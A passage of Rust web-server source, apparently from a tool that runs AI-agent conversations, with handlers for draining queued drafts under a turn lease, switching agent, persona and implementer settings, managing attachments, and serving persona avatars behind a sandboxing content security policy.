9961    cfg: Config,
9962    id: String,
9963    turn: TalkTurnGuard,
9964    observed: u64,
9965) -> bool {
9966    if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9967        let turns = Arc::clone(&turn.turns);
9968        let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
9969        if live.queued.get(&id).copied().unwrap_or(0) == observed {
9970            // Release under the arrival lock; a later `/say` takes its own claim.
9971            turn.release(&mut live);
9972            return false;
9973        }
9974    }
9975    let (started, settled) = tokio::sync::oneshot::channel();
9976    tokio::spawn(drain_loop_started(
9977        talk,
9978        talks,
9979        cfg,
9980        id,
9981        turn,
9982        Some(started),
9983    ));
9984    settled.await.unwrap_or(false)
9985}
9986
9987#[cfg(not(test))]
9988async fn drain_loop_started(
9989    talk: Talk,
9990    talks: Talks,
9991    _cfg: Config,
9992    id: String,
9993    turn: TalkTurnGuard,
9994    started: Option<tokio::sync::oneshot::Sender<bool>>,
9995) {
9996    let pending = !talk.pending.is_empty() || !talk.pending_attachments.is_empty();
9997    let running = if pending {
9998        match crate::chat_worker::spawn_turn(&talks, &id).await {
9999            Ok(_) => true,
10000            Err(error) => {
10001                tracing::warn!("talk {id}: could not launch draft worker: {error:#}");
10002                false
10003            }
10004        }
10005    } else {
10006        false
10007    };
10008    drop(turn);
10009    if let Some(started) = started {
10010        let _ = started.send(running);
10011    }
10012}
10013
10014// Existing in-process conversation tests exercise transcript/arrival ordering;
10015// real process-lifetime behavior is covered by the CLI integration tests.
10016#[cfg(test)]
10017async fn drain_loop_started(
10018    mut talk: Talk,
10019    talks: Talks,
10020    cfg: Config,
10021    id: String,
10022    turn: TalkTurnGuard,
10023    mut started: Option<tokio::sync::oneshot::Sender<bool>>,
10024) {
10025    let live_set = Arc::clone(&turn.turns);
10026    // `Option` rather than binding `turn` directly to a `_turn` that lives
10027    // for the whole function: releasing it has to happen by calling
10028    // `TalkTurnGuard::release` from inside the locked branch below, which
10029    // takes `self` by value. Left as a plain drop instead, `Drop` would still
10030    // remove the id - correctly, if this loop is ever left some other way -
10031    // but doing it there misses the lock this loop is already holding, which
10032    // is the exact gap `release` exists to close.
10033    let mut turn = Some(turn);
10034    loop {
10035        if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
10036            // The lease was taken over while a turn ran. Whatever is queued
10037            // stays a draft; running it here would race the new owner.
10038            tracing::warn!("talk {id} lost its turn lease; not draining further");
10039            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10040            if let Some(turn) = turn.take() {
10041                turn.release(&mut live);
10042            }
10043            break;
10044        }
10045        // `talk::drain` takes the store lock and can write/rename the talk
10046        // file. Keep the turn mutex out of that synchronous work: it protects
10047        // every talk's in-memory claim, not this talk's disk operation.
10048        let observed = live_set
10049            .lock()
10050            .unwrap_or_else(PoisonError::into_inner)
10051            .queued
10052            .get(&id)
10053            .copied()
10054            .unwrap_or(0);
10055        let drained = blocking({
10056            let talks = talks.clone();
10057            move || {
10058                let result = talk::drain(&mut talk, &talks);
10059                Ok((talk, result))
10060            }
10061        })
10062        .await;
10063        let (next_talk, result) = match drained {
10064            Ok(drained) => drained,
10065            Err(e) => {
10066                tracing::warn!(
10067                    status = %e.status,
10068                    message = %e.message,
10069                    "talk {id} could not start queued-text drain"
10070                );
10071                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10072                turn.take()
10073                    .expect("held for the whole loop until released here")
10074                    .release(&mut live);
10075                break;
10076            }
10077        };
10078        talk = next_talk;
10079        let drained = match result {
10080            Ok(Some(drained)) => drained,
10081            Ok(None) => {
10082                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10083                if live.queued.get(&id).copied().unwrap_or(0) != observed {
10084                    continue;
10085                }
10086                turn.take()
10087                    .expect("held for the whole loop until released here")
10088                    .release(&mut live);
10089                break;
10090            }
10091            Err(e) => {
10092                tracing::warn!("talk {id} could not drain queued text: {e:#}");
10093                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10094                turn.take()
10095                    .expect("held for the whole loop until released here")
10096                    .release(&mut live);
10097                break;
10098            }
10099        };
10100        if let Some(started) = started.take() {
10101            let _ = started.send(true);
10102        }
10103        let responded = match turn.as_ref() {
10104            Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
10105            None => Err(anyhow::anyhow!("the turn guard was released")),
10106        };
10107        if let Err(e) = responded {
10108            tracing::warn!("talk {id} turn failed: {e:#}");
10109        }
10110    }
10111    drop(turn);
10112    if let Some(started) = started {
10113        let _ = started.send(false);
10114    }
10115}
10116
10117/// Clear a queued draft only if it remains exactly the one the caller saw.
10118async fn talk_pending_clear(
10119    State(ui): State<Arc<Ui>>,
10120    Path(id): Path<String>,
10121    body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
10122) -> ApiResult<Json<TalkView>> {
10123    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
10124    blocking(move || {
10125        let id = resolve_talk(&ui.talks, &id)?;
10126        let mut talk = ui.talks.get(&id)?;
10127        if !talk.status.open() {
10128            return Err(ApiError::conflict(format!(
10129                "talk {} is {} and takes no more turns",
10130                talk.short(),
10131                talk.status.as_str()
10132            )));
10133        }
10134        if !talk::clear_pending_if_matches(
10135            &mut talk,
10136            &ui.talks,
10137            &body.expected_text,
10138            &body.expected_attachments,
10139        )? {
10140            return Err(ApiError::conflict(
10141                "queued message changed; reload it before clearing",
10142            ));
10143        }
10144        let thinking = ui.is_thinking(&talk.id);
10145        Ok(Json(TalkView::new(talk, thinking, &ui)))
10146    })
10147    .await
10148}
10149
10150/// Atomically edit a queued draft's text while preserving its attachments.
10151/// The snapshot fields make a concurrent queue or drain a conflict rather
10152/// than silently discarding either message.
10153async fn talk_pending_edit(
10154    State(ui): State<Arc<Ui>>,
10155    Path(id): Path<String>,
10156    body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
10157) -> ApiResult<Json<TalkView>> {
10158    let admission = ui.begin_admission()?;
10159    admitted(admission, async move {
10160        let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
10161        let id = {
10162            let ui = Arc::clone(&ui);
10163            blocking(move || resolve_talk(&ui.talks, &id)).await?
10164        };
10165        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10166            .await
10167            .map_err(ApiError::from)?;
10168        let (view, reclaimed) = blocking({
10169            let ui = Arc::clone(&ui);
10170            move || {
10171                let mut talk = ui.talks.get(&id)?;
10172                if !talk.status.open() {
10173                    return Err(ApiError::conflict(format!(
10174                        "talk {} is {} and takes no more turns",
10175                        talk.short(),
10176                        talk.status.as_str()
10177                    )));
10178                }
10179                if !talk::edit_pending_message(
10180                    &mut talk,
10181                    &ui.talks,
10182                    &body.text,
10183                    &body.expected_text,
10184                    &body.expected_attachments,
10185                    body.message,
10186                )? {
10187                    return Err(ApiError::conflict(
10188                        "queued message changed; reload it before editing",
10189                    ));
10190                }
10191                let claim = match ui.begin_queued_talk_turn(&id)? {
10192                    Some(turn_guard) => {
10193                        let (cfg, _) = Config::discover(&talk.repo, None)?;
10194                        Some((talk.clone(), cfg, id.clone(), turn_guard))
10195                    }
10196                    None => None,
10197                };
10198                let thinking = ui.is_thinking(&id);
10199                Ok((TalkView::new(talk, thinking, &ui), claim))
10200            }
10201        })
10202        .await?;
10203        if let Some((talk, cfg, id, turn_guard)) = reclaimed {
10204            let talks = ui.talks.clone();
10205            #[cfg(not(test))]
10206            detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
10207            #[cfg(test)]
10208            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
10209        }
10210        Ok(Json(view))
10211    })
10212    .await
10213}
10214
10215/// The 409 for a talk that takes no more turns.
10216fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
10217    if talk.status.open() {
10218        return Ok(());
10219    }
10220    Err(ApiError::conflict(format!(
10221        "talk {} is {} and takes no more turns",
10222        talk.short(),
10223        talk.status.as_str()
10224    )))
10225}
10226
10227/// The body of `POST /api/talks/{id}/agent`.
10228#[derive(Debug, Deserialize)]
10229struct TalkAgent {
10230    agent: String,
10231}
10232
10233/// `POST /api/talks/{id}/agent` - hand the conversation to another roster
10234/// agent. Holds the talk's turn guard for the whole switch so a `/say` cannot
10235/// start a turn on the old session between the check and the write; one that
10236/// arrives in that window finds the talk busy and becomes a draft.
10237async fn talk_agent(
10238    State(ui): State<Arc<Ui>>,
10239    Path(id): Path<String>,
10240    Json(body): Json<TalkAgent>,
10241) -> ApiResult<Json<TalkView>> {
10242    let admission = ui.begin_admission()?;
10243    admitted(admission, async move {
10244        let id = {
10245            let ui = Arc::clone(&ui);
10246            blocking(move || resolve_talk(&ui.talks, &id)).await?
10247        };
10248        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10249            .await
10250            .map_err(ApiError::from)?;
10251        let repo = {
10252            let ui = Arc::clone(&ui);
10253            let id = id.clone();
10254            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10255        };
10256        let cfg = config_for(&repo).await?;
10257        // Refuse before taking the claim; see `talk_implementers`.
10258        {
10259            let ui = Arc::clone(&ui);
10260            let id = id.clone();
10261            let cfg = cfg.clone();
10262            let wanted = body.agent.clone();
10263            blocking(move || {
10264                agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
10265                    .map_err(ApiError::bad_request_from)?;
10266                refuse_if_closed(&ui.talks.get(&id)?)
10267            })
10268            .await?;
10269        }
10270        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10271            return Err(ApiError::conflict(
10272                "a talk turn is running; change the agent once it has answered",
10273            ));
10274        };
10275        let switched = {
10276            let ui = Arc::clone(&ui);
10277            let id = id.clone();
10278            let cfg = cfg.clone();
10279            blocking(move || {
10280                let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
10281                    .map_err(ApiError::bad_request_from)?;
10282                let mut talk = ui.talks.get(&id)?;
10283                if !talk.status.open() {
10284                    return Err(ApiError::conflict(format!(
10285                        "talk {} is {} and takes no more turns",
10286                        talk.short(),
10287                        talk.status.as_str()
10288                    )));
10289                }
10290                talk::switch_agent(&mut talk, &ui.talks, &spec)?;
10291                Ok(talk)
10292            })
10293            .await
10294        };
10295        // A `/say` that landed while this held the claim saw the talk busy and
10296        // left a durable draft, trusting the claim's owner to drain it. So the
10297        // claim is settled whatever the outcome. Release an empty draft's claim
10298        // before replying; queued drafts continue independently of the handler.
10299        let observed = ui.queued_generation(&id);
10300        let fresh = {
10301            let ui = Arc::clone(&ui);
10302            let id = id.clone();
10303            blocking(move || Ok(ui.talks.get(&id)?)).await
10304        };
10305        let draining = match fresh {
10306            Ok(talk) => {
10307                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10308            }
10309            Err(_) => false,
10310        };
10311        let talk = switched?;
10312        Ok(Json(TalkView::new(talk, draining, &ui)))
10313    })
10314    .await
10315}
10316
10317/// The body of `POST /api/talks/{id}/persona`.
10318#[derive(Debug, Deserialize)]
10319struct TalkPersona {
10320    persona: String,
10321}
10322
10323/// `POST /api/talks/{id}/persona` - choose the conversation's tone. Shaped
10324/// like [`talk_agent`]: the turn guard is held for the change and always handed
10325/// to `drain_loop`, so a draft left meanwhile is not stranded.
10326async fn talk_persona(
10327    State(ui): State<Arc<Ui>>,
10328    Path(id): Path<String>,
10329    Json(body): Json<TalkPersona>,
10330) -> ApiResult<Json<TalkView>> {
10331    let admission = ui.begin_admission()?;
10332    admitted(admission, async move {
10333        let id = {
10334            let ui = Arc::clone(&ui);
10335            blocking(move || resolve_talk(&ui.talks, &id)).await?
10336        };
10337        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10338            .await
10339            .map_err(ApiError::from)?;
10340        let repo = {
10341            let ui = Arc::clone(&ui);
10342            let id = id.clone();
10343            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10344        };
10345        let cfg = config_for(&repo).await?;
10346        // Refuse before taking the claim; see `talk_implementers`.
10347        {
10348            let ui = Arc::clone(&ui);
10349            let id = id.clone();
10350            let cfg = cfg.clone();
10351            let wanted = body.persona.clone();
10352            blocking(move || {
10353                if persona::find(&cfg.talk.personas, &wanted).is_none() {
10354                    return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
10355                }
10356                refuse_if_closed(&ui.talks.get(&id)?)
10357            })
10358            .await?;
10359        }
10360        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10361            return Err(ApiError::conflict(
10362                "a talk turn is running; change the persona once it has answered",
10363            ));
10364        };
10365        let switched = {
10366            let ui = Arc::clone(&ui);
10367            let id = id.clone();
10368            let cfg = cfg.clone();
10369            blocking(move || {
10370                let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
10371                    return Err(ApiError::bad_request(format!(
10372                        "unknown persona `{}`",
10373                        body.persona
10374                    )));
10375                };
10376                let mut talk = ui.talks.get(&id)?;
10377                if !talk.status.open() {
10378                    return Err(ApiError::conflict(format!(
10379                        "talk {} is {} and takes no more turns",
10380                        talk.short(),
10381                        talk.status.as_str()
10382                    )));
10383                }
10384                talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
10385                Ok(talk)
10386            })
10387            .await
10388        };
10389        // As in `talk_agent`: settle the claim before replying, even on refusal.
10390        let observed = ui.queued_generation(&id);
10391        let fresh = {
10392            let ui = Arc::clone(&ui);
10393            let id = id.clone();
10394            blocking(move || Ok(ui.talks.get(&id)?)).await
10395        };
10396        let draining = match fresh {
10397            Ok(talk) => {
10398                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10399            }
10400            Err(_) => false,
10401        };
10402        let talk = switched?;
10403        Ok(Json(TalkView::new(talk, draining, &ui)))
10404    })
10405    .await
10406}
10407
10408/// The body of `POST /api/talks/{id}/implementers`.
10409#[derive(Debug, Deserialize)]
10410struct TalkImplementers {
10411    implementers: u8,
10412}
10413
10414/// `POST /api/talks/{id}/implementers` - choose how many implementers the tasks it files use (1 is Solo). Shaped
10415/// like [`talk_agent`]: the turn guard is held for the change and always handed
10416/// to `drain_loop`, so a draft left meanwhile is not stranded.
10417async fn talk_implementers(
10418    State(ui): State<Arc<Ui>>,
10419    Path(id): Path<String>,
10420    Json(body): Json<TalkImplementers>,
10421) -> ApiResult<Json<TalkView>> {
10422    let admission = ui.begin_admission()?;
10423    admitted(admission, async move {
10424        let id = {
10425            let ui = Arc::clone(&ui);
10426            blocking(move || resolve_talk(&ui.talks, &id)).await?
10427        };
10428        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10429            .await
10430            .map_err(ApiError::from)?;
10431        let repo = {
10432            let ui = Arc::clone(&ui);
10433            let id = id.clone();
10434            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10435        };
10436        let cfg = config_for(&repo).await?;
10437        // Refuse a request that cannot succeed before taking the claim: a claim
10438        // taken for it is handed to `drain_loop`, which holds the talk busy for a
10439        // moment, so a refusal would make the next request see "busy" instead of
10440        // its own answer. The checks after the claim stay the ones that decide.
10441        {
10442            let ui = Arc::clone(&ui);
10443            let id = id.clone();
10444            let cfg = cfg.clone();
10445            let wanted = body.implementers;
10446            blocking(move || {
10447                talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
10448                refuse_if_closed(&ui.talks.get(&id)?)
10449            })
10450            .await?;
10451        }
10452        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10453            return Err(ApiError::conflict(
10454                "a talk turn is running; change the implementers once it has answered",
10455            ));
10456        };
10457        let switched = {
10458            let ui = Arc::clone(&ui);
10459            let id = id.clone();
10460            let cfg = cfg.clone();
10461            blocking(move || {
10462                let chosen = talk::check_implementers(body.implementers, &cfg)
10463                    .map_err(ApiError::bad_request)?;
10464                let mut talk = ui.talks.get(&id)?;
10465                if !talk.status.open() {
10466                    return Err(ApiError::conflict(format!(
10467                        "talk {} is {} and takes no more turns",
10468                        talk.short(),
10469                        talk.status.as_str()
10470                    )));
10471                }
10472                talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
10473                Ok(talk)
10474            })
10475            .await
10476        };
10477        // As in `talk_agent`: settle the claim before replying, even on refusal.
10478        let observed = ui.queued_generation(&id);
10479        let fresh = {
10480            let ui = Arc::clone(&ui);
10481            let id = id.clone();
10482            blocking(move || Ok(ui.talks.get(&id)?)).await
10483        };
10484        let draining = match fresh {
10485            Ok(talk) => {
10486                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10487            }
10488            Err(_) => false,
10489        };
10490        let talk = switched?;
10491        Ok(Json(TalkView::new(talk, draining, &ui)))
10492    })
10493    .await
10494}
10495
10496/// `POST /api/talks/{id}/close`.
10497async fn talk_close(
10498    State(ui): State<Arc<Ui>>,
10499    Path(id): Path<String>,
10500) -> ApiResult<Json<TalkView>> {
10501    blocking(move || {
10502        let id = resolve_talk(&ui.talks, &id)?;
10503        let mut talk = ui.talks.get(&id)?;
10504        talk::close(&mut talk, &ui.talks).map_err(|error| {
10505            if error.is::<talk::ClosePendingInput>() {
10506                ApiError::conflict(format!("{error:#}"))
10507            } else {
10508                ApiError::from(error)
10509            }
10510        })?;
10511        let thinking = ui.is_thinking(&talk.id);
10512        Ok(Json(TalkView::new(talk, thinking, &ui)))
10513    })
10514    .await
10515}
10516
10517/// `POST /api/talks/{id}/reopen`.
10518async fn talk_reopen(
10519    State(ui): State<Arc<Ui>>,
10520    Path(id): Path<String>,
10521) -> ApiResult<Json<TalkView>> {
10522    blocking(move || {
10523        let id = resolve_talk(&ui.talks, &id)?;
10524        let mut talk = ui.talks.get(&id)?;
10525        talk::reopen(&mut talk, &ui.talks)?;
10526        let thinking = ui.is_thinking(&talk.id);
10527        Ok(Json(TalkView::new(talk, thinking, &ui)))
10528    })
10529    .await
10530}
10531
10532/// `DELETE /api/talks/{id}`.
10533///
10534/// Removes the conversation's record and artifacts outright, unlike
10535/// [`talk_close`] which keeps the record as history. A turn already in
10536/// flight is not refused here the way [`run_delete`] refuses a live run:
10537/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
10538/// under [`Talks::guard`], that the record they are about to write back is
10539/// still there, so a delete racing a turn is safe without this route having
10540/// to know a turn is running at all.
10541async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
10542    blocking(move || {
10543        let id = resolve_talk(&ui.talks, &id)?;
10544        ui.talks.remove(&id)?;
10545        Ok(StatusCode::NO_CONTENT)
10546    })
10547    .await
10548}
10549
10550fn talk_ids(root: &FsPath) -> Vec<String> {
10551    std::fs::read_dir(root)
10552        .into_iter()
10553        .flatten()
10554        .flatten()
10555        .filter_map(|e| {
10556            let path = e.path();
10557            if path.extension().is_some_and(|ext| ext == "json") {
10558                path.file_stem().and_then(|s| s.to_str()).map(str::to_owned)
10559            } else {
10560                None
10561            }
10562        })
10563        .collect()
10564}
10565
10566/// Expand an id or short id to exactly one talk id.
10567fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
10568    if plain_record_id(id) && store.path_of(id).is_file() {
10569        return Ok(id.to_owned());
10570    }
10571    pick(talk_ids(store.root()), id, "talk")
10572}
10573
10574/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
10575/// future `talk-say`.
10576async fn talk_attachment_post(
10577    State(ui): State<Arc<Ui>>,
10578    Path(id): Path<String>,
10579    headers: HeaderMap,
10580    body: Bytes,
10581) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
10582    let mime = validate_attachment(&headers, &body)?;
10583    let name = filename_header(&headers);
10584    let data = body.to_vec();
10585    blocking(move || {
10586        let id = resolve_talk(&ui.talks, &id)?;
10587        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
10588        Ok((StatusCode::CREATED, Json(att)))
10589    })
10590    .await
10591}
10592
10593/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
10594/// `<img>` tag in the transcript.
10595async fn talk_attachment_get(
10596    State(ui): State<Arc<Ui>>,
10597    Path((id, att)): Path<(String, String)>,
10598) -> ApiResult<Response> {
10599    blocking(move || {
10600        let id = resolve_talk(&ui.talks, &id)?;
10601        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
10602            return Err(ApiError::not_found(format!(
10603                "talk {id} has no attachment `{att}`"
10604            )));
10605        };
10606        Ok(attachment_response(&meta.mime, data))
10607    })
10608    .await
10609}
10610
10611/// The avatar URL for one persona of one conversation. `v` is a fingerprint of
10612/// the icon setting, so changing it changes the URL.
10613fn avatar_url(home: &FsPath, talk_id: &str, p: &persona::Persona) -> String {
10614    let id = avatar_encode(&p.id);
10615    format!(
10616        "/api/talks/{talk_id}/avatar?persona={id}&v={}",
10617        persona_icon::fingerprint(
10618            effective_persona_icon(home, &p.id, p.icon.as_deref()).as_deref()
10619        )
10620    )
10621}
10622
10623#[derive(Debug, Default, Deserialize)]
10624struct AvatarQuery {
10625    persona: Option<String>,
10626    /// Set by the page after the first load failed: skip the `icon`.
10627    builtin: Option<String>,
10628}
10629
10630/// Served with every built-in avatar: it is an image, so nothing else may run.
10631const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
10632
10633fn builtin_avatar(id: &str) -> Response {
10634    svg_avatar(persona_icon::builtin_svg(id))
10635}
10636
10637async fn operator_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10638    raster_or_builtin(
10639        read_icon_file(&avatar_setting_path(&ui.home, None))
10640            .filter(|_| q.builtin.is_none())
10641            .as_deref(),
10642        persona_icon::operator_svg(),
10643    )
10644}
10645
10646fn svg_avatar(svg: &'static str) -> Response {
10647    (
10648        [
10649            (header::CONTENT_TYPE, "image/svg+xml"),
10650            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
10651            (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
10652            (header::CACHE_CONTROL, "no-cache"),
10653        ],
10654        svg,
10655    )
10656        .into_response()
10657}
10658
10659fn avatar_encode(value: &str) -> String {
10660    value
10661        .bytes()
10662        .map(|b| {
10663            if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
10664                char::from(b).to_string()
10665            } else {
10666                format!("%{b:02X}")
10667            }
10668        })
10669        .collect()
10670}
10671
10672// Display-only overrides live outside configuration and conversation records.
10673fn avatar_setting_path(home: &FsPath, persona: Option<&str>) -> PathBuf {
10674    let Some(id) = persona else {
10675        return home.join("avatars/operator.data");
10676    };
10677    let encoded: String = id.bytes().map(|b| format!("{b:02x}")).collect();
10678    let mut path = home.join("avatars/personas");
10679    for chunk in encoded.as_bytes().chunks(100) {
10680        path.push(std::str::from_utf8(chunk).expect("hex"));
10681    }
10682    path.join("icon.data")
10683}
10684
10685fn effective_persona_icon(home: &FsPath, id: &str, configured: Option<&str>) -> Option<String> {
10686    match read_icon_file(&avatar_setting_path(home, Some(id))) {
10687        Some(value) if value == "builtin" => Some(String::new()),
10688        Some(value) => Some(value),
10689        None => configured.map(str::to_owned),
10690    }
10691}
10692
10693fn operator_icon_url(home: &FsPath) -> String {
10694    format!(
10695        "/avatars/operator.svg?v={}",
10696        persona_icon::fingerprint(
10697            read_icon_file(&avatar_setting_path(home, None))
10698                .as_deref()
10699                .or(Some(persona_icon::operator_svg()))
10700        )
10701    )
10702}
10703
10704fn raster_or_builtin(icon: Option<&str>, builtin: &'static str) -> Response {
10705    let mut response = match icon.and_then(|i| persona_icon::load(i).ok()) {
10706        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10707            attachment_response(mime, bytes)
10708        }
10709        _ => svg_avatar(builtin),
10710    };
10711    response
10712        .headers_mut()
10713        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10714    response
10715}
10716
10717#[derive(Default, Deserialize)]
10718struct AvatarSettingsQuery {
10719    repo: Option<PathBuf>,
10720    persona: Option<String>,
10721    builtin: Option<String>,
10722    inherit: Option<String>,
10723}
10724
10725fn avatar_settings_specs(
10726    ui: &Ui,
10727    repo: Option<PathBuf>,
10728) -> ApiResult<(PathBuf, Vec<crate::config::PersonaSpec>)> {
10729    let (repo, _) = settings_context(ui, SettingsQuery { repo })?;
10730    let specs = settings::repository_config(&repo, ui.machine_config.as_deref())
10731        .map(|cfg| cfg.talk.personas)
10732        .unwrap_or_default();
10733    Ok((repo, specs))
10734}
10735
10736fn saved_persona_ids(path: &FsPath, prefix: &str, out: &mut Vec<String>) {
10737    let Ok(entries) = std::fs::read_dir(path) else {
10738        return;
10739    };
10740    for entry in entries.flatten() {
10741        let name = entry.file_name().to_string_lossy().into_owned();
10742        if name == "icon.data" {
10743            let bytes: Option<Vec<u8>> = prefix
10744                .as_bytes()
10745                .chunks(2)
10746                .map(|c| u8::from_str_radix(std::str::from_utf8(c).ok()?, 16).ok())
10747                .collect();
10748            if let Some(id) = bytes.and_then(|b| String::from_utf8(b).ok()) {
10749                out.push(id);
10750            }
10751        } else if name.len() <= 100
10752            && !name.is_empty()
10753            && name.bytes().all(|b| b.is_ascii_hexdigit())
10754            && entry.file_type().is_ok_and(|t| t.is_dir())
10755        {
10756            saved_persona_ids(&entry.path(), &format!("{prefix}{name}"), out);
10757        }
10758    }
10759}
10760
10761async fn avatar_settings_get(
10762    State(ui): State<Arc<Ui>>,
10763    Query(q): Query<AvatarSettingsQuery>,
10764) -> ApiResult<Json<serde_json::Value>> {
10765    blocking(move || {
10766        let (repo, specs) = avatar_settings_specs(&ui, q.repo)?;
10767        let mut catalog = persona::catalog(&specs);
10768        let known_ids: Vec<_> = catalog.iter().map(|p| p.id.clone()).collect();
10769        let mut saved = Vec::new();
10770        saved_persona_ids(&ui.home.join("avatars/personas"), "", &mut saved);
10771        for id in saved {
10772            if !catalog.iter().any(|p| p.id == id) {
10773                catalog.push(persona::Persona { name: format!("{id} (saved override)"), id, prompt: String::new(), icon: None });
10774            }
10775        }
10776        let personas: Vec<_> = catalog.iter().map(|p| {
10777            let saved = read_icon_file(&avatar_setting_path(&ui.home, Some(&p.id)));
10778            let override_state = match saved.as_deref() {
10779                Some("builtin") => "builtin",
10780                Some(_) => "custom",
10781                None => "inherit",
10782            };
10783            let icon = effective_persona_icon(&ui.home, &p.id, p.icon.as_deref());
10784            serde_json::json!({"id":p.id,"name":p.name,
10785                "override_state":override_state,"has_config_icon":p.icon.is_some(),
10786                "is_orphan":!known_ids.contains(&p.id),"avatar":format!("/avatars/persona?persona={}&repo={}&v={}",
10787                avatar_encode(&p.id), avatar_encode(&repo.to_string_lossy()), persona_icon::fingerprint(icon.as_deref()))})
10788        }).collect();
10789        Ok(Json(serde_json::json!({"operator":operator_icon_url(&ui.home), "personas":personas})))
10790    }).await
10791}
10792
10793async fn settings_persona_avatar(
10794    State(ui): State<Arc<Ui>>,
10795    Query(q): Query<AvatarSettingsQuery>,
10796) -> ApiResult<Response> {
10797    blocking(move || {
10798        let (_, specs) = avatar_settings_specs(&ui, q.repo)?;
10799        let id = q.persona.as_deref().unwrap_or(persona::DEFAULT_ID);
10800        let found = persona::find(&specs, id);
10801        let icon =
10802            effective_persona_icon(&ui.home, id, found.as_ref().and_then(|p| p.icon.as_deref()));
10803        Ok(raster_or_builtin(
10804            icon.as_deref().filter(|_| q.builtin.is_none()),
10805            persona_icon::builtin_svg(id),
10806        ))
10807    })
10808    .await
10809}
10810
10811fn validate_avatar_target(q: &AvatarSettingsQuery) -> ApiResult<()> {
10812    if q.persona
10813        .as_ref()
10814        .is_some_and(|p| p.is_empty() || p.len() > 4096)
10815    {
10816        return Err(ApiError::bad_request("invalid persona id"));
10817    }
10818    Ok(())
10819}
10820
10821async fn avatar_settings_put(
10822    State(ui): State<Arc<Ui>>,
10823    Query(q): Query<AvatarSettingsQuery>,
10824    Json(upload): Json<MagiIconUpload>,
10825) -> ApiResult<Json<serde_json::Value>> {
10826    blocking(move || {
10827        validate_avatar_target(&q)?;
10828        save_icon_file(
10829            &avatar_setting_path(&ui.home, q.persona.as_deref()),
10830            &upload.icon,
10831        )
10832        .map_err(ApiError::bad_request_from)?;
10833        Ok(Json(serde_json::json!({"saved":true})))
10834    })
10835    .await
10836}
10837
10838async fn avatar_settings_delete(
10839    State(ui): State<Arc<Ui>>,
10840    Query(q): Query<AvatarSettingsQuery>,
10841) -> ApiResult<Json<serde_json::Value>> {
10842    blocking(move || {
10843        validate_avatar_target(&q)?;
10844        let path = avatar_setting_path(&ui.home, q.persona.as_deref());
10845        if q.persona.is_some() && q.inherit.is_none() {
10846            atomic_icon_write(&path, "builtin")?;
10847        } else {
10848            match std::fs::remove_file(path) {
10849                Ok(()) => (),
10850                Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10851                Err(e) => return Err(anyhow::Error::from(e).into()),
10852            }
10853        }
10854        Ok(Json(serde_json::json!({"saved":true})))
10855    })
10856    .await
10857}
10858
10859// The global MAGI icon is deliberately independent of repository configuration.
10860fn magi_icon_path(home: &FsPath) -> PathBuf {
10861    home.join("magi-icon.data")
10862}
10863
10864fn read_magi_icon(home: &FsPath) -> Option<String> {
10865    read_icon_file(&magi_icon_path(home))
10866}
10867
10868fn read_icon_file(path: &FsPath) -> Option<String> {
10869    let metadata = std::fs::metadata(path).ok()?;
10870    if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
10871        return None;
10872    }
10873    let file = std::fs::File::open(path).ok()?;
10874    use std::io::Read;
10875    let mut text = String::new();
10876    file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
10877        .read_to_string(&mut text)
10878        .ok()?;
10879    if text.len() > persona_icon::ICON_MAX_BYTES {
10880        return None;
10881    }
10882    if text == "builtin" {
10883        return Some(text);
10884    }
10885    validate_uploaded_icon(&text).ok()?;
10886    Some(text)
10887}
10888
10889fn magi_icon_url(home: &FsPath) -> String {
